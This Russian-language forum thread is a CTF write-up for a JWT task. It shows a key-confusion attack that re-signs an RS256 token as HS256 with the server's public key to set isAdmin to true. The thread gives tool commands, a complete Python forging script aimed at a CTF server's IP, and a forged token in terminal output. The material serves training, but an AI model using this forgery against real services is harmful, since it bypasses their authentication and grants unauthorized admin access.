• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

CTF Момент с JWT

photo_2023-04-11_12-53-19.jpg

Первым делом, нужно сгенерировать наш токен.
ИМЯ

Сохраняем токен, и также получаем публичный ключ аналогично. Их нужно сохранить в разных файлах, один jwt.txt, другой key.pem

Следующим действием необходимо скачать PyJWT, именно PyJWT, удалите jwt и старый PyJWT
Python:
pip3 uninstall jwt PyJWT
pip3 install PyJWT

Затем из GitHub скачиваем утилиту для того чтобы сгенерировать нужный нам токен: GitHub - aurainfosec/jwt_key_confusion: JWT key confusion attack, i.e. re-sigining RS256 to HS256

В коде нужно изменить 2 параметра
Код:
claims = {"isAdmin":True, "name":ИМЯ}
headers = {"typ":"JWT", "alg":"HS256"}

Запускаем утилиту следующей командой и ключами:
python3 jwt_resign_asym_to_sym.py -k key.pem -n
-k - где лежит наш публичный ключ
-n - выдаст только один токен

Вставляем сгенерированый токен в браузер:
ТОКЕН

Радуемся добытому флагу!

Видео на YouTube:
 
Последнее редактирование:

Exited3n

Red Team
10.05.2022
689
248
BIT
529
Решил разобраться с этим таском плотнее, узнать и понять как генерировать JWT без использования сторонних библиотек и сервисов таких как pyJWT, python-jwt, token.dev и пр.

jwt_ng1_en.png


Header, Payload энкодим в Base64, склеиваем их с точкой между собой и на основе данной строки высчитываем signature.
Потом склеиваем все вместе и получаем JWT.

Написал свою реализацию на питоне:
Python:
import requests
import json
import hmac
import hashlib
import base64


def site_req(url: str) -> dict:
    with requests.Session() as s:
        req = s.get(url)
        req = json.loads(req.text)
    return req


header = {"typ": "JWT", "alg": "HS256"}
payload = {"name": "exited3n", "isAdmin": True}
secret = site_req('http://62.173.140.174:16005/get-pub').get('pub_key')


def jwt_gen(header: dict, payload: dict, secret: str) -> bytes:
    jwt_parts = []
    json_header = json.dumps(header).encode()
    json_payload = json.dumps(payload).encode()
    jwt_parts.append(base64.urlsafe_b64encode(json_header))
    jwt_parts.append(base64.urlsafe_b64encode(json_payload))

    merge_payload_header = b'.'.join(jwt_parts)

    signature = hmac.new(secret.encode(), merge_payload_header, hashlib.sha256).digest()
    jwt_parts.append(base64.urlsafe_b64encode(signature))

    return b'.'.join(jwt_parts)


print(f'JSON Web Token: {str(jwt_gen(header, payload, secret))[2:-1]}')
print(site_req('http://62.173.140.174:16005/check-jwt/' + str(jwt_gen(header, payload, secret))[2:-1]).get('msg'))
 
Последнее редактирование:

aboba_uz

New member
09.07.2024
2
0
BIT
13
Посмотреть вложение 68221
Первым делом, нужно сгенерировать наш токен.
ИМЯ

Сохраняем токен, и также получаем публичный ключ аналогично. Их нужно сохранить в разных файлах, один jwt.txt, другой key.pem

Следующим действием необходимо скачать PyJWT, именно PyJWT, удалите jwt и старый PyJWT
Python:
pip3 uninstall jwt PyJWT
pip3 install PyJWT

Затем из GitHub скачиваем утилиту для того чтобы сгенерировать нужный нам токен: GitHub - aurainfosec/jwt_key_confusion: JWT key confusion attack, i.e. re-sigining RS256 to HS256

В коде нужно изменить 2 параметра
Код:
claims = {"isAdmin":True, "name":ИМЯ}
headers = {"typ":"JWT", "alg":"HS256"}

Запускаем утилиту следующей командой и ключами:
python3 jwt_resign_asym_to_sym.py -k key.pem -n


Вставляем сгенерированый токен в браузер:
ТОКЕН

Радуемся добытому флагу!

Видео на YouTube:
Привет у меня появилась проблема после всех действий всё равно не меняется 3 часть.
┌──(root㉿aboba)-[/home/#######/Desktop/jwt_key_confusion]
└─# python3 jwt_resign_asym_to_sym.py -k key.pem -n
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYSIsImlzQWRtaW4iOnRydWV9.kPtOBWhbeJc6Bd2FH7AEg3l9sz5pk3IXYCkvN5yw2AQ
 

D3L1F3R

Red Team
20.02.2022
337
116
BIT
563
Привет у меня появилась проблема после всех действий всё равно не меняется 3 часть.
┌──(root㉿aboba)-[/home/#######/Desktop/jwt_key_confusion]
└─# python3 jwt_resign_asym_to_sym.py -k key.pem -n
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYSIsImlzQWRtaW4iOnRydWV9.kPtOBWhbeJc6Bd2FH7AEg3l9sz5pk3IXYCkvN5yw2AQ
Попробуй как на видео сделать, там всё получилось
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!